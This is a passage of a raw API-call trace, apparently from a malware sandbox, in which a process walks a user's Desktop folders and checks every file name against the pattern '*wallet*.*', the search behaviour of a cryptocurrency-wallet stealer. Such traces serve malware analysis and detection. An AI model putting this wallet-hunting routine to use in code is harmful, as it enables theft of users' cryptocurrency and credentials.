lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 76 [0146.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", cchWideChar=76, lpMultiByteStr=0x2362780, cbMultiByte=76, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\6_Lz6Ex2GE8X0H7LSYpm.doc", lpUsedDefaultChar=0x0) returned 76 [0146.636] PathMatchSpecW (pszFile="6_Lz6Ex2GE8X0H7LSYpm.doc", pszSpec="*wallet*.*") returned 0 [0146.636] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0cea770, ftCreationTime.dwHighDateTime=0x1d7a491, ftLastAccessTime.dwLowDateTime=0x2fd030a0, ftLastAccessTime.dwHighDateTime=0x1d7a4e8, ftLastWriteTime.dwLowDateTime=0x2fd030a0, ftLastWriteTime.dwHighDateTime=0x1d7a4e8, nFileSizeHigh=0x0, nFileSizeLow=0x113ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="i33RqOxAVJq9dL.mkv", cAlternateFileName="I33RQO~1.MKV")) returned 1 [0146.636] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.636] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.636] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.636] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.636] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.636] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="i33RqOxAVJq9dL.mkv" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv") returned="\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv" [0146.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.636] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", cchWideChar=70, lpMultiByteStr=0x32bb6f8, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\i33RqOxAVJq9dL.mkv", lpUsedDefaultChar=0x0) returned 70 [0146.636] PathMatchSpecW (pszFile="i33RqOxAVJq9dL.mkv", pszSpec="*wallet*.*") returned 0 [0146.636] FindNextFileW (in: hFindFile=0x8825b0, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mhr9", cAlternateFileName="")) returned 1 [0146.636] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1" [0146.637] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\" [0146.637] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.637] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\avdtAoxV8CAmzwyXqi1" | out: lpString1="\\avdtAoxV8CAmzwyXqi1") returned="\\avdtAoxV8CAmzwyXqi1" [0146.637] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\") returned="\\avdtAoxV8CAmzwyXqi1\\" [0146.637] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\", lpString2="Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.637] lstrcmpW (lpString1="Mhr9", lpString2=".") returned 1 [0146.637] lstrcmpW (lpString1="Mhr9", lpString2="..") returned 1 [0146.637] lstrcpyW (in: lpString1=0x19c02c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.637] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\*.*" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*" [0146.637] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\*.*", lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x882c70 [0146.637] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.637] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.637] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.637] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.637] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.637] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\." [0146.637] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0146.638] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499aa940, ftCreationTime.dwHighDateTime=0x1d7a6d0, ftLastAccessTime.dwLowDateTime=0xbcce45d0, ftLastAccessTime.dwHighDateTime=0x1d7ad9b, ftLastWriteTime.dwLowDateTime=0xbcce45d0, ftLastWriteTime.dwHighDateTime=0x1d7ad9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.638] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.638] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.638] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.638] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.638] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.638] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2=".." | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\..") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\.." [0146.638] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0146.638] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0146.638] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9341b3e0, ftCreationTime.dwHighDateTime=0x1d7ad29, ftLastAccessTime.dwLowDateTime=0xe4634550, ftLastAccessTime.dwHighDateTime=0x1d7ae40, ftLastWriteTime.dwLowDateTime=0xe4634550, ftLastWriteTime.dwHighDateTime=0x1d7ae40, nFileSizeHigh=0x0, nFileSizeLow=0x25cd, dwReserved0=0x0, dwReserved1=0x0, cFileName="JsOVvpw5D.jpg", cAlternateFileName="JSOVVP~1.JPG")) returned 1 [0146.638] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.638] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.638] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.638] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.638] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.638] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="JsOVvpw5D.jpg" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg" [0146.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0146.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", cchWideChar=70, lpMultiByteStr=0x32bb428, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\JsOVvpw5D.jpg", lpUsedDefaultChar=0x0) returned 70 [0146.639] PathMatchSpecW (pszFile="JsOVvpw5D.jpg", pszSpec="*wallet*.*") returned 0 [0146.639] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x926ae940, ftCreationTime.dwHighDateTime=0x1d7a591, ftLastAccessTime.dwLowDateTime=0xaf78d1f0, ftLastAccessTime.dwHighDateTime=0x1d7ab3b, ftLastWriteTime.dwLowDateTime=0xaf78d1f0, ftLastWriteTime.dwHighDateTime=0x1d7ab3b, nFileSizeHigh=0x0, nFileSizeLow=0x15bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="SZTd4bP.mp4", cAlternateFileName="")) returned 1 [0146.639] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.639] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.639] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.639] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.639] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.639] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="SZTd4bP.mp4" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4" [0146.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 68 [0146.639] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", cchWideChar=68, lpMultiByteStr=0x32bb658, cbMultiByte=68, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\SZTd4bP.mp4", lpUsedDefaultChar=0x0) returned 68 [0146.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.639] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340c20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.639] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x3340498 [0146.639] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c20 | out: hHeap=0x2360000) returned 1 [0146.640] PathMatchSpecW (pszFile="SZTd4bP.mp4", pszSpec="*wallet*.*") returned 0 [0146.640] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340498 | out: hHeap=0x2360000) returned 1 [0146.640] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362a40 | out: hHeap=0x2360000) returned 1 [0146.640] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 1 [0146.640] lstrcpyW (in: lpString1=0x19bc1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.640] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.640] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.640] lstrcpyW (in: lpString1=0x19be24, lpString2="\\avdtAoxV8CAmzwyXqi1\\Mhr9" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9" [0146.640] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9", lpString2="\\" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\" [0146.640] lstrcatW (in: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\", lpString2="TS0v8AtAD55v.mp3" | out: lpString1="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3") returned="\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3" [0146.640] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0xa0) returned 0x23604a0 [0146.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 73 [0146.640] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x49) returned 0x2362e08 [0146.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", cchWideChar=73, lpMultiByteStr=0x2362e08, cbMultiByte=73, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9\\TS0v8AtAD55v.mp3", lpUsedDefaultChar=0x0) returned 73 [0146.640] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x50) returned 0x2362e60 [0146.640] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e08 | out: hHeap=0x2360000) returned 1 [0146.640] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x23604a0 | out: hHeap=0x2360000) returned 1 [0146.640] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0146.641] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x16) returned 0x3340c60 [0146.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19c254, cbMultiByte=11, lpWideCharStr=0x3340c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0146.641] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x20) returned 0x33403f8 [0146.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c60 | out: hHeap=0x2360000) returned 1 [0146.641] PathMatchSpecW (pszFile="TS0v8AtAD55v.mp3", pszSpec="*wallet*.*") returned 0 [0146.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x33403f8 | out: hHeap=0x2360000) returned 1 [0146.641] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x2362e60 | out: hHeap=0x2360000) returned 1 [0146.641] FindNextFileW (in: hFindFile=0x882c70, lpFindFileData=0x19b9cc | out: lpFindFileData=0x19b9cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56fc7120, ftCreationTime.dwHighDateTime=0x1d7a2f9, ftLastAccessTime.dwLowDateTime=0xa7b17650, ftLastAccessTime.dwHighDateTime=0x1d7a9bc, ftLastWriteTime.dwLowDateTime=0xa7b17650, ftLastWriteTime.dwHighDateTime=0x1d7a9bc, nFileSizeHigh=0x0, nFileSizeLow=0x18e39, dwReserved0=0x0, dwReserved1=0x0, cFileName="TS0v8AtAD55v.mp3", cAlternateFileName="TS0V8A~1.MP3")) returned 0 [0146.641] FindClose (in: hFindFile=0x882c70 | out: hFindFile=0x882c70) returned 1 [0146.641] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x70) returned 0x23604a0 [0146.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\avdtAoxV8CAmzwyXqi1\\Mhr9", cchWideChar=56, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 56 [0146.641] RtlAllocateHeap (HeapHandle=0x2360000, Flags=0x0, Size=0x38) returned 0x32bb060 [0146.641] WideCharToMultiByte (in: CodePage=0x0, 